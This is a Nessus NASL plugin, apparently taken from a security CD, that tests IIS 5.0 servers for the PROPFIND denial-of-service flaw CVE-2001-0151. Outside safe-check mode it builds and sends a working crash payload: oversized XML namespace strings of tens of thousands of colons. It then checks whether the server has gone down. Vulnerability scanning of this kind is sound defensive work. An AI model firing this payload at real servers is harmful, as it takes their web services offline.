home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / modules / nessus-2.2.8.mo / usr / lib / nessus / plugins / iis_propfind2.nasl < prev    next >
Text File  |  2005-03-31  |  4KB  |  170 lines

  1. #
  2. # This script is based on Georgi Guninski's perl script
  3. # ported to NASL by John Lampe <j_lampe@bellsouth.net>
  4. #
  5. # See the Nessus Scripts License for details
  6. #
  7.  
  8. if(description)
  9. {
  10.  script_id(10667);
  11.  script_bugtraq_id(2453);
  12.  script_cve_id("CVE-2001-0151");
  13.  script_version ("$Revision: 1.23 $");
  14.  
  15.  name["english"] = "IIS 5.0 PROPFIND Vulnerability";
  16.  script_name(english:name["english"]);
  17.  
  18.  desc["english"] = "
  19. It was possible to disable the remote IIS server
  20. by making a variation of a specially formed PROPFIND request.
  21. An attacker, exploiting this vulnerability, would be able
  22. to render the web service useless.  If the server is 'business
  23. critical', the impact could be high.
  24.  
  25. Solution : disable the WebDAV extensions, as well as the PROPFIND command
  26. See 
  27. http://support.microsoft.com/support/kb/articles/Q241/5/20.ASP
  28. See also: 
  29. http://www.microsoft.com/technet/security/bulletin/MS01-016.mspx
  30.  
  31. Risk factor : High";
  32.  
  33.  script_description(english:desc["english"]);
  34.  
  35.  summary["english"] = "Attempts to crash the Microsoft IIS server";
  36.  script_summary(english:summary["english"]);
  37.  script_category(ACT_MIXED_ATTACK); # mixed
  38.  
  39.  
  40.  script_copyright(english:"This script is Copyright (C) 2001 John Lampe");
  41.  family["english"] = "Denial of Service";
  42.  family["francais"] = "DΘni de service";
  43.  script_family(english:family["english"], francais:family["francais"]);
  44.  script_dependencie("find_service.nes", "http_version.nasl", "www_fingerprinting_hmap.nasl");
  45.  script_require_ports("Services/www", 80);
  46.  exit(0);
  47. }
  48.  
  49. #
  50. # The script code starts here
  51. #
  52.  
  53. include("http_func.inc");
  54.  
  55. port = get_http_port(default:80);
  56.  
  57. sig = get_kb_item("www/hmap/" + port + "/description");
  58. if ( sig && "IIS" >!< sig ) exit(0);
  59.  
  60. if(!get_port_state(port))exit(0);
  61.  
  62.  
  63.  
  64. if(safe_checks())
  65. {
  66.    soc = http_open_socket(port);
  67.    if(!soc)exit(0);
  68.    
  69.    req = string("PROPFIND / HTTP/1.0\r\n\r\n");
  70.    send(socket:soc, data:req);
  71.    r = http_recv(socket:soc);
  72.    
  73.    if("411 Length Required" >< r)
  74.    {
  75.     if(egrep("Server:.*IIS.*", string:r))
  76.     {
  77.     alrt = "
  78. The PROPFIND method is enabled on the remote IIS server.
  79. On unpatched versions of IIS this allows anyone to
  80. remotely shut this server down.  Microsoft included this
  81. patch in Win2k Service Pack 2.
  82.  
  83. *** Nessus reports this vulnerability using only
  84. *** information that was gathered. Use caution
  85. *** when testing without safe checks enabled.
  86.  
  87. Solution : disable the WebDAV extensions, as well as the PROPFIND
  88. command See 
  89. http://support.microsoft.com/support/kb/articles/Q241/5/20.ASP
  90. also:
  91. http://www.microsoft.com/technet/security/bulletin/MS01-016.mspx
  92. Risk factor : High";
  93.  
  94.      security_hole(port:port, data:alrt);
  95.     }
  96.    }  
  97.   exit(0);
  98. }
  99.  
  100.  
  101. mylen = 59060;
  102. quote = raw_string(0x22);
  103. xml = string ("<?xml version=",
  104.       quote ,
  105.       "1.0",
  106.       quote,
  107.       "?><a:propfind xmlns:a=",
  108.       quote,
  109.       "DAV:",
  110.       quote,
  111.       " xmlns:u=",
  112.       quote,
  113.       crap(length:mylen, data:":"),
  114.       ":", 
  115.       quote,
  116.       ">",
  117.       "<a:prop><a:displayname /><u:",
  118.       "AAAA", 
  119.       crap(length:mylen, data:":"),
  120.       crap(length:64, data:"A"),
  121.       " /></a:prop></a:propfind>\r\n\r\n");
  122.  
  123. l = strlen(xml);
  124. req = string ("PROPFIND / HTTP/1.1\r\n", 
  125. "Content-type: text/xml\r\n", 
  126. "Host: ", get_host_name() , "\r\n", 
  127. "Content-length: ", l, "\r\n\r\n", xml, "\r\n\r\n\r\n");
  128.  
  129.  
  130. soc = http_open_socket(port);
  131. if(!soc)exit(0);
  132. else {
  133.     req = http_get(item:"/", port:port);
  134.     send(socket:soc, data:req);
  135.     r = http_recv(socket:soc);
  136.     http_close_socket(soc);
  137.     if(!r)exit(0);
  138.     }
  139.  
  140. soc2 = http_open_socket(port);
  141. if(soc2)
  142. {
  143.  send(socket:soc2, data:req);
  144.  r = http_recv(socket:soc2);
  145.  http_close_socket(soc2);
  146. }
  147. else {
  148.     exit(0);
  149.      }
  150.  
  151. sleep(1);
  152. soc3 = http_open_socket(port);
  153. if(soc3)
  154. {
  155. req = http_get(item:"/", port:port);
  156. send(socket:soc3, data:req);
  157. r = http_recv(socket:soc3);
  158. http_close_socket(soc3);
  159. if(!r){
  160.        security_hole(port);
  161.      }
  162. else {
  163.     if("HTTP/1.1 500 Server Error" >< r)security_hole(port);
  164.      }
  165. }
  166. else 
  167. {
  168.  security_hole(port);
  169. }
  170.